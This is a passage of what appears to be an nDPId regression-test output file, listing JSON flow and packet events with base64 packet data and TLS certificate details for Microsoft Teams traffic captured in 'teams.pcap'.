AAgEAAAoACAAGAB0AFwAY"} +00769{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":37,"source":"teams.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":4,"flow_first_seen":1587041676362,"flow_last_seen":1587041676499,"flow_tot_l4_data_len":322,"flow_min_l4_data_len":32,"flow_max_l4_data_len":206,"flow_avg_l4_data_len":80,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"52.114.77.33","src_port":60532,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS"},"proto":"TLS.Microsoft","breed":"Safe","category":"Cloud"},"tls": {"version":"TLSv1.2","client_requested_server_name":"mobile.pipe.aria.microsoft.com","ja3":"a1674500365bdd882188db63730e69a2","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL"}} +02363{"flow_id":4,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":56,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041676,"pkt_ts_usec":545373,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"KDc3AG3IEBMx8Tl2CABFAAXUL\/9AAGwGleM0ck0hwKgBBgG77HRJoiCpnM0j1oAQBAXctwAAAQEICmEGTTMwhJf1FgMDEGYCAABRAwNemFWMXBNb2F1eIS0NgygX31DvjFSWgfTq\/PXgXBX\/USAORwAAVmOWcPohT0niCo9N4puGGU7iW5AxxYvHQvC098AwAAAJABcAAP8BAAEACwAO3QAO2gAJHDCCCRgwggcAoAMCAQICExYACr2jKIomrOvxeF4AAAAKvaMwDQYJKoZIhvcNAQELBQAwgYsxCzAJBgNVBAYTAlVTMRMwEQYDVQQIEwpXYXNoaW5ndG9uMRAwDgYDVQQHEwdSZWRtb25kMR4wHAYDVQQKExVNaWNyb3NvZnQgQ29ycG9yYXRpb24xFTATBgNVBAsTDE1pY3Jvc29mdCBJVDEeMBwGA1UEAxMVTWljcm9zb2Z0IElUIFRMUyBDQSA0MB4XDTE5MTAxMDIxNTUzOFoXDTIxMTAxMDIxNTUzOFowJjEkMCIGA1UEAwwbKi5ldmVudHMuZGF0YS5taWNyb3NvZnQuY29tMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAq8J31SJyCTCkjxtLC8JE7aU56y+0937PcYfrFGWW\/wSL1vxV6UtbY+5UyBq7YUvoZUI+YYWI6FMysHpnkiGQR5h3NLX2it0lgM0JMJXgIYfO+vdhJalxciwWfJHOcY4+eUQwpTmpGeOTzK\/sd1W+VOYbkgWPJ0lAEgTcRXL\/NZZAtyce+Sv4+b4jHwY9pwQxOHJWtnns0bK3jD\/RcAtjLeUisGvBGtt1SItPOQvgD6i2AdvjCkjqVXn0nxT\/yKuGkvtii1i85nrjeMS5pKgL+N2I4goIXeRAaK089dd0KrnNO6kLEhhSHgHwJHnPwfqeXH1Q2p1Zw2r13mOsJdyP7QIDAQABo4IE1zCCBNMwggF\/BgorBgEEAdZ5AgQCBIIBbwSCAWsBaQB2APZclC\/RdzAiFFQYCDCUVo7jTRMZM7\/fDC8gC8xO8WTjAAABbbe0zD0AAAQDAEcwRQIgXUu8wYK\/QqX5unkLcaUv4T8oQWu5yZb6M3RYbUFPJ7sCIQCVvziq+dynpJXSFyAk+ZobbjdMm8Ziuyzc0miXoW9hmQB2AFWB1MIWkDYBSuoLm1c8U\/DA5Dh4cCUIFy+jqh0HE9MMAAABbbe0zTwAAAQDAEcwRQIgOIr7NuYD18H8X6OV\/YdBgg0HoCy47ognD1Etlbp3ZVgCIQCAVAoqvjDqhz4It72mColVOT\/FZuexWjdVPWkvuAPY1AB3AESUZS6w7s6vxEAH2Kj+KMDa5oK+2MsxtT\/TM5a1toGoAAABbbe0zEEAAAQDAEgwRgIhAMLyKXAV0HvPisLX5tlLiDTgtSUtRgffnQWc5h8Pdj8PAiEAo6ENbH0+qORahbVCksBW940dOZQUoTXblsn+bri9ExQwJwYJKwYBBAGCNxUKBBowGDAKBggrBgEFBQcDAjAKBggrBgEFBQcDATA+BgkrBgEEAYI3FQcEMTAvBicrBgEEAYI3FQiH2oZ1g+7ZAYLJhRuBtZ5hhfTrYIFdhNLfQoLnk3oCAWQCAR0wgYUGCCsGAQUFBwEBBHkwdzBRBggrBgEFBQcwAoZFaHR0cDovL3d3dy5taWNyb3NvZnQuY29tL3BraS9tc2NvcnAvTWljcm9zb2Z0JTIwSVQlMjBUTFMlMjBDQSUyMDQuY3J0MCIGCCsGAQUFBzABhhZodHRwOi8vb2NzcC5tc29jc3AuY29tMB0GA1UdDgQWBBQa+kPWU8gwtBlTGMvS3dHpIWlv7TALBgNVHQ8EBAMCBLAwgfIGA1UdEQSB6jCB54IbKi5ldmVudHMuZGF0YS5taWNyb3NvZnQuY29tghlldmVudHMuZGF0YS5taWNyb3NvZnQuY29tghkqLnBpcGUuYXJpYS5taWNyb3NvZnQuY29tgg5waXBl"} +02357{"flow_id":4,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":57,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041676,"pkt_ts_usec":545588,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"KDc3AG3IEBMx8Tl2CABFAAXUMABAAGwGleI0ck0hwKgBBgG77HRJoiZJnM0j1oAQBAX4aAAAAQEICmEGTTMwhJf1LnNreXBlLmNvbYIQKi5waXBlLnNreXBlLmNvbYIiKi5tb2JpbGUuZXZlbnRzLmRhdGEubWljcm9zb2Z0LmNvbYIgbW9iaWxlLmV2ZW50cy5kYXRhLm1pY3Jvc29mdC5jb22CFSouZXZlbnRzLmRhdGEubXNuLmNvbYITZXZlbnRzLmRhdGEubXNuLmNvbTCBrAYDVR0fBIGkMIGhMIGeoIGboIGYhktodHRwOi8vbXNjcmwubWljcm9zb2Z0LmNvbS9wa2kvbXNjb3JwL2NybC9NaWNyb3NvZnQlMjBJVCUyMFRMUyUyMENBJTIwNC5jcmyGSWh0dHA6Ly9jcmwubWljcm9zb2Z0LmNvbS9wa2kvbXNjb3JwL2NybC9NaWNyb3NvZnQlMjBJVCUyMFRMUyUyMENBJTIwNC5jcmwwTQYDVR0gBEYwRDBCBgkrBgEEAYI3KgEwNTAzBggrBgEFBQcCARYnaHR0cDovL3d3dy5taWNyb3NvZnQuY29tL3BraS9tc2NvcnAvY3BzMB8GA1UdIwQYMBaAFHp7jMHP56DKHNRr+vvhM8MPGqKdMB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATANBgkqhkiG9w0BAQsFAAOCAgEAUxCmyVHd3H7BNm7xrFDWc0lUKQfFfvZJj7fGm702yYNfNb17H3sDMMybFW0xvlL9Ezzab9UkH29uzppLcvgSPbaskyoVw+2aUUDOWU9BNPXX55faad2R1I6KtC+PfV7YLtmbicvSGz4AqzYw9ZreqUymbtwFHx+mEj1q7bV3EnUB\/tkVGJLU4rtEsbNOyNY0rT1MPRe2qZ6z8OTI\/Ubwew2S+CzQq6NSEinFnoQ24d33L9+Q2VR7IJxgZJZ0JLJRb2EkmyBTG1bJPbFiADdV1t9YSY2ps7oVekv29d\/XDIODAnQFR1IHqlMXtC77TWoRsh1X4rC3iStLm+7YDXNcZ\/4Mj9IuoDmWavbkJCD0d5pvrPILAZtuXahuvQzQtAY2n0vu1+AhHxMbk9e2L2iJYbk++P\/GCSsH0E3MwFuGBx2aD8kcD\/GasOSgJ2hX1PemGbx7\/Y9FGQudVhN6gkjLviiZxZQGDI3hc4aNkSo6HFXMcwVO63+RLd5FmQcXxQ4wQgOa8gPG9Z+WsefaydUjjPdFmpvxlC8L\/\/hy5Vj29oZ7skaSNpSCyBSNkBskAzSt9el50ZVrhM5J4i3BG1jJVGu2oqjlyxlbfhoa6VdObxpgGXjYRrBKCYMJOGSIW1HBsVpPOHiO3HTRTWSc3nsno7KhTt65NB2bdGHaIXFW18cABbgwggW0MIIEnKADAgECAhALarOwPrGp9sRgkmqozf6zMA0GCSqGSIb3DQEBCwUAMFoxCzAJBgNVBAYTAklFMRIwEAYDVQQKEwlCYWx0aW1vcmUxEzARBgNVBAsTCkN5YmVyVHJ1c3QxIjAgBgNVBAMTGUJhbHRpbW9yZSBDeWJlclRydXN0IFJvb3QwHhcNMTYwNTIwMTI1MjM4WhcNMjQwNTIwMTI1MjM4WjCBizELMAkGA1UEBhMCVVMxEzARBgNVBAgTCldhc2hpbmd0b24xEDAOBgNVBAcTB1JlZG1vbmQxHjAcBgNVBAoTFU1pY3Jvc29mdCBDb3Jwb3JhdGlvbjEVMBMGA1UECxMMTWljcm9zb2Z0IElUMR4wHAYDVQQDExVNaWNyb3NvZnQgSVQgVExTIENBIDQwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQCr5etdo2s5nvU0iBK7HVImXX0JC8Z5jqu3Dt8Zst3uD\/bu9FbkRuKSD+JnC+MccaTUQXO0y5kWjr93fbCvHmztcS7DCHdKXpKu7FrQSIHQxemg9XqPHo1e062SwNrGkTUxILk5"} +00421{"flow_id":4,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":58,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041676,"pkt_ts_usec":545644,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAG94LAqAEGNHJNIex0AbuczSPWSaIr6YAQD9OIagAAAQEICjCEmCFhBk0z"} +02211{"flow_id":4,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":59,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041676,"pkt_ts_usec":545713,"pkt_caplen":1389,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1389,"pkt_l4_len":1355,"pkt":"KDc3AG3IEBMx8Tl2CABFAAVfMAFAAGwGllY0ck0hwKgBBgG77HRJoivpnM0j1oAYBAXusQAAAQEICmEGTTMwhJf1BM0QKjyXHQCemRgYCc9Ll+TJ\/ADwDFqdNuiyQMFKrIQoqj1GGCuniqz0r0uofklCx2IgwOanO13rkB+7itickOM6sWzClM4+MmvLcbNBLrnF4V3YWSeC++FIDX7oBPH5ASdB+pRafcUwu7a61xGbiPoBzG5Lkrn4eDzLnGiaFmaI0JOwKoMulxEdfoEgYeSwuZucblOVlSLG2b11ELrZdYw8Px3QlvgzRXt7H1Qz5UiXpwUkotvR3JWuICp9lolIe5J60CSx3kgR92c8tN\/4WGD1T3s0aOb9rCYItvMsQ9tPxBbQmwxxh7EHa4bdj6Cx+2ba2Mvp8vBl5Y7YHOovui1k8V7QG1CyDIVKzzvILipqdYzArlzZ6cB8fXzanOO9SrBgB4IrfV3IEK8uYozcmv3h2blZSJdCGsNQgQsfgyJr5Ju8KSKC\/YBRXHVfDjXC3X8vemefPY5bjLuvnfTMDPuoH50hwfPnUhpdzhRXbVC4Se6xCyfS4mknEm7GwCY+56QrG4tTOAb6Goc64Et\/mRZOWT1ZafFxp2VlGwIDAQABo4IBQjCCAT4wHQYDVR0OBBYEFHp7jMHP56DKHNRr+vvhM8MPGqKdMB8GA1UdIwQYMBaAFOWdWTCCR1jMrPoIVDaGezq1BE3wMBIGA1UdEwEB\/wQIMAYBAf8CAQAwDgYDVR0PAQH\/BAQDAgGGMCcGA1UdJQQgMB4GCCsGAQUFBwMBBggrBgEFBQcDAgYIKwYBBQUHAwkwNAYIKwYBBQUHAQEEKDAmMCQGCCsGAQUFBzABhhhodHRwOi8vb2NzcC5kaWdpY2VydC5jb20wOgYDVR0fBDMwMTAvoC2gK4YpaHR0cDovL2NybDMuZGlnaWNlcnQuY29tL09tbmlyb290MjAyNS5jcmwwPQYDVR0gBDYwNDAyBgRVHSAAMCowKAYIKwYBBQUHAgEWHGh0dHBzOi8vd3d3LmRpZ2ljZXJ0LmNvbS9DUFMwDQYJKoZIhvcNAQELBQADggEBABH+cgY6IQo3bsj1KSICYp5FDu36Bp\/vv54kNRf+OYiyuwHheN\/Ri5f9t3fxinJPSTrosynXdIfkufMXYIeIklWCvdl9E0h\/BpA6iWbnnZb3lc1gD9fhyvZ27vqbNUihmH3SkypPgRbHqJa70SXzpm9Q2gCbKqj0NQDj\/Sw77eUVm38WD8eOyTYglPAdAbkSUFCZgeAoQiyOeP\/txp7V5MrpoKqzSE+kX+SLGP8TAi2QETYYZig6IprelfFZ7p9tKhd1k1DDBRLV3mS0trzb13ZZ\/qXW5Vbh\/kZcO4r47A777xKQkc4gEoG6PFLjf+NA9AxBIGaHGNoyaeD23I8o8r0MAAEoAwAdICf13BoKrGZPNG0+yUJZK8TCtflNTiG631bDCjWUJK4jBAEBAHbj1ePhfFL5FSiea0SFM\/ZkVyK+eDewU7ywV8xdIo\/5AzxB4ECtK1IiGdkJ4RVX31AHi\/CkjfaxlSycpoLayFFGuAJ\/ODU7meLERtve+q8bpBRRkElp8CtGG9ufBWZM9OTtVSHSiids0Y1qJQaSL3O++gtGLx1JVip50NS8osX9SZs8vOU1mv9\/OX7t6Mf4KJwc2l5RJQo9oZOzhWuMVW1WLzsIvCX5rZUG4lQu5imnPzvYMSQrxbkvH5vRtOnQ0oCK3Q4B72NjaN5XozPSxx6kRN1\/Ro5FKsGYBxIif+k03b5X8xi1li92DKijNEFd0s2WeBCBNW7PWnaHVE4F\/NAOAAAA"} +01297{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":59,"source":"teams.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":8,"flow_first_seen":1587041676362,"flow_last_seen":1587041676545,"flow_tot_l4_data_len":4653,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1472,"flow_avg_l4_data_len":581,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"52.114.77.33","src_port":60532,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS"},"proto":"TLS.Microsoft","breed":"Safe","category":"Cloud"},"tls": {"version":"TLSv1.2","client_requested_server_name":"mobile.pipe.aria.microsoft.com","server_names":"*.events.data.microsoft.com,events.data.microsoft.com,*.pipe.aria.microsoft.com,pipe.skype.com,*.pipe.skype.com,*.mobile.events.data.microsoft.com,mobile.events.data.microsoft.com,*.events.data.msn.com,events.data.msn.com","ja3":"a1674500365bdd882188db63730e69a2","ja3s":"ae4edc6faf64d08308082ad26be60767","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384","issuerDN":"C=US, ST=Washington, L=Redmond, O=Microsoft Corporation, OU=Microsoft IT, CN=Microsoft IT TLS CA 4","issuerDN":"CN=*.events.data.microsoft.com","fingerprint":"33:B3:B7:E9:DA:25:F5:A0:04:E9:63:87:B6:FB:54:77:DB:ED:27:EB"}} +00421{"flow_id":4,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":60,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041676,"pkt_ts_usec":545746,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAG94LAqAEGNHJNIex0AbuczSPWSaIxFIAQD9aDPAAAAQEICjCEmCFhBk0z"} +00551{"flow_id":4,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":61,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041676,"pkt_ts_usec":547152,"pkt_caplen":159,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":159,"pkt_l4_len":125,"pkt":"EBMx8Tl2KDc3AG3ICABFAACRAABAAEAG9yXAqAEGNHJNIex0AbuczSPWSaIxFIAYEAAchAAAAQEICjCEmCJhBk0zFgMDACUQAAAhILIaMevnbK1\/hpHUboPpPe+pb1HBL\/FLZ+shbMz6dR9FFAMDAAEBFgMDACgAAAAAAAAAAIJ0SPvnUI1H6qTG02JvBbggKD0kfO8io3ogy9sAjVIf"} +00492{"flow_id":4,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":62,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041676,"pkt_ts_usec":592494,"pkt_caplen":117,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":117,"pkt_l4_len":83,"pkt":"KDc3AG3IEBMx8Tl2CABFAABnMAJAAGwGm000ck0hwKgBBgG77HRJojEUnM0kM4AYBAUC6gAAAQEICmEGTWMwhJgiFAMDAAEBFgMDACgAAAAAAAAAAP2LLG2PnDQehKYYtBjGkN6MY9XhuxGTfkh6HM3dIStA"} +00423{"flow_id":4,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":63,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041676,"pkt_ts_usec":592590,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAG94LAqAEGNHJNIex0AbuczSQzSaIxR4AQD\/6CJgAAAQEICjCEmE9hBk1j"} +00373{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":64,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041676,"pkt_ts_usec":611249,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AYDCAAAAeCjKBfrMACZCQgMAAAAAAJAAeCjKBfrMAAAAAJAAeCjKBfrMgAEAAAYAAQAEAKWlpaWlpaWl"} +00153{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":64,"source":"teams.pcap","alias":"nDPId-test","type":38} +00467{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":65,"source":"teams.pcap","alias":"nDPId-test","flow_id":6,"flow_packet_id":1,"flow_first_seen":1587041676612,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"40.126.9.5","src_port":60534,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00439{"flow_id":6,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":65,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041676,"pkt_ts_usec":612882,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"EBMx8Tl2KDc3AG3ICABFAABAAABAAEAGR4fAqAEGKH4JBex2AbukS07pAAAAALAC\/\/+ZfQAAAgQFtAEDAwUBAQgKMISYYwAAAAAEAgAA"} +00433{"flow_id":6,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":66,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041676,"pkt_ts_usec":642642,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA8LqNAAG0G6+cofgkFwKgBBgG77HaiQxrbpEtO6qASIAC6gQAAAgQFoAEDAwgEAggKVQC94TCEmGM="} +00421{"flow_id":6,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":67,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041676,"pkt_ts_usec":642755,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGR5PAqAEGKH4JBex2AbukS07qokMa3IAQEAn5EwAAAQEICjCEmIFVAL3h"} +00753{"flow_id":6,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":68,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041676,"pkt_ts_usec":643404,"pkt_caplen":312,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":312,"pkt_l4_len":278,"pkt":"EBMx8Tl2KDc3AG3ICABFAAEqAABAAEAGRp3AqAEGKH4JBex2AbukS07qokMa3IAYEAkkyAAAAQEICjCEmIFVAL3hFgMBAPEBAADtAwMFij+vLNUEXtDYw018fSI+oguo6nn0NGVGlSQBEa6j4wAAKMAswCvAJMAjwArACcypwDDAL8AowCfAFMATzKgAnQCcAD0APAA1AC8BAACc\/wEAAQAAAAAeABwAABlsb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tABcAAAANABQAEgQDCAQEAQUDCAUFAQgGBgECAQAFAAUBAAAAADN0AAAAEgAAABAAMAAuAmgyBWgyLTE2BWgyLTE1BWgyLTE0CHNwZHkvMy4xBnNwZHkvMwhodHRwLzEuMQALAAIBAAAKAAoACAAdABcAGAAZ"} +00781{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":68,"source":"teams.pcap","alias":"nDPId-test","flow_id":6,"flow_packet_id":4,"flow_first_seen":1587041676612,"flow_last_seen":1587041676643,"flow_tot_l4_data_len":394,"flow_min_l4_data_len":32,"flow_max_l4_data_len":278,"flow_avg_l4_data_len":98,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"40.126.9.5","src_port":60534,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Microsoft365","breed":"Acceptable","category":"Collaborative"},"tls": {"version":"TLSv1.2","client_requested_server_name":"login.microsoftonline.com","ja3":"a69708a64f853c3bcc214c2c5faf84f3","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,h2-16,h2-15,h2-14,spdy\/3.1,spdy\/3,http\/1.1"}} +02378{"flow_id":6,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":69,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041676,"pkt_ts_usec":675374,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"KDc3AG3IEBMx8Tl2CABFAAXULqZAAG0G5kwofgkFwKgBBgG77HaiQyYcpEtP4IAQBAWIzwAAAQEIClUAvgAwhJiBCxMMTWljcm9zb2Z0IElUMR4wHAYDVQQDExVNaWNyb3NvZnQgSVQgVExTIENBIDEwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQCO8\/GEdXe8vsmk9RalUytQYJnc2H3ZJLXhckk3SP7ahpOjfR2aSxBNd3l+Zal8bjbiR9Q2SdDMJAInFOKucc3ZV3Q8EFYZkkqHYvnjkI1e3tFBGxqmH0CiLB6OVdcm2GhCq+wN3t1eYZWzrGyBzqjgra9fyqbkUWguJ\/1UKnGkzLt+kvH2U1EFMdAZgrDKY9DySgALzfRpS\/RallY5JsmdSwpjNDKApQTl6ii3wQDAbRrwKNRKj4CscxnY9RYvra4Il2IGLP7npfCtQVN\/jSsxwxRzId3jeGOcUYa1okhJwHkIFUMAK5m4S+DHVwdsxLmmVC0BU\/Kj8qTM2cFU84jN5EwT04ozIVitGL++OYFwOWk3+FukY+8JB9+HGmLHmgjF0R1eYnYB3WnmOLtEsC1NOsYugOBgclvyzOaOXDohHl2wOSu96hPLlsu2anSMjrwOEJ8bpUBBj5FcdqcO8ao6h7cMd99xai8oYUItkA9yBatn4MF7y5xAmsQKCESMfD26qQ4esdkivR9fQWpzVPZm4qD5pjne0nfzaQS\/t7s8xJP\/cgQctTadaH\/f+jlPsvaPuRz\/re0OFQjjhnzySEl3lxb2\/QD2T6Zeb+c5wFFlPeuxlzDs6p5z\/B4soN+Lz3NftQ4GQhcmlezYqSfQ0GWUXOI\/yigppSD0yN1dtP\/m3QIDAQABo4IBQjCCAT4wHQYDVR0OBBYEFFiIn9bcnEgitxQ+\/4SI6OaF\/\/p9MB8GA1UdIwQYMBaAFOWdWTCCR1jMrPoIVDaGezq1BE3wMBIGA1UdEwEB\/wQIMAYBAf8CAQAwDgYDVR0PAQH\/BAQDAgGGMCcGA1UdJQQgMB4GCCsGAQUFBwMBBggrBgEFBQcDAgYIKwYBBQUHAwkwNAYIKwYBBQUHAQEEKDAmMCQGCCsGAQUFBzABhhhodHRwOi8vb2NzcC5kaWdpY2VydC5jb20wOgYDVR0fBDMwMTAvoC2gK4YpaHR0cDovL2NybDMuZGlnaWNlcnQuY29tL09tbmlyb290MjAyNS5jcmwwPQYDVR0gBDYwNDAyBgRVHSAAMCowKAYIKwYBBQUHAgEWHGh0dHBzOi8vd3d3LmRpZ2ljZXJ0LmNvbS9DUFMwDQYJKoZIhvcNAQELBQADggEBADCaxp1q\/e+TCAy+gnf5dqBtnnswI3uoKVr0aj7HCwyW37hLUuQNnDjteGO1c8AcHzvgp\/9\/SVGVMrjQm6nlz5YDgYDVSmEY\/sRqxt9\/QUYinIBm6w9CoOTzpCGjmNB6dPaM6MPSK6orzhFZGUTnXAcJQuvX\/RVNuW9sRDUmh7qjO2iwgecgyX8TAvPMq58clVDLrmSAu4cKXc6ma7J94z024ilRtyX80AnjsK3EYi4+foUmsvav920xc8YZmKlykwLOygs9POzZcOiA9RareGqHTcaBN6gKdoEGqO8XYHxwEBM8ONczTOQ3ZQj7kbPoFnZhKmX1WJSzRQHvwE8De7gMAAFJAwAXQQTOd4jCuMTh7EYDlmBiiGmTGwexXcFlv\/T2ck50p74cYWIJH\/qL5LjbfCSDp3wqAO8ZZNaw1gxy4Uzbx\/mTFEUoBAEBACuEjKAM1qXUNVaS\/GaC95SQ9vmaMh+jYNW\/golBe81NwxyW1ReEMvroTkbS6BjiR97ixB57SOr\/EVlzcCLlr0XL6vCOvZKaaq3SzHreSfwbGspHUYxwK5i8j23AovUYK4FdR8PK9GkF5j5DZYPL2nmL62KrpTU3AqFF18hKfZ2alq2jaowqtsC3NBCAd6aifgpEBRhB9rZP2x\/YPgDeBGSAHqMX"} +00553{"flow_id":6,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":70,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041676,"pkt_ts_usec":675379,"pkt_caplen":162,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":162,"pkt_l4_len":128,"pkt":"KDc3AG3IEBMx8Tl2CABFAACULqdAAG0G64sofgkFwKgBBgG77HaiQyu8pEtP4IAYBAVGDwAAAQEIClUAvgAwhJiBfbkMHpnw46Od39l8xQWfkMb8Y4m7UQItE2ZTaCJ\/+0VF2uUDoFo+ZzMmKB4UT6N0T0t8m216vjKZdmv27C48wjxjvRwQlpbFUmbQ8WYEeJCXNqNVwUeFV6amQX8OAAAA"} +00438{"flow_id":6,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":71,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041676,"pkt_ts_usec":675476,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"EBMx8Tl2KDc3AG3ICABFAABAAABAAEAGR4fAqAEGKH4JBex2AbukS0\/gokMa3LAQEAkrhwAAAQEICjCEmKFVAL3hAQEFCqJDJhyiQyu8"} +00438{"flow_id":6,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":72,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041676,"pkt_ts_usec":675480,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"EBMx8Tl2KDc3AG3ICABFAABAAABAAEAGR4fAqAEGKH4JBex2AbukS0\/gokMa3LAQEAkrJwAAAQEICjCEmKFVAL3hAQEFCqJDJhyiQywc"} 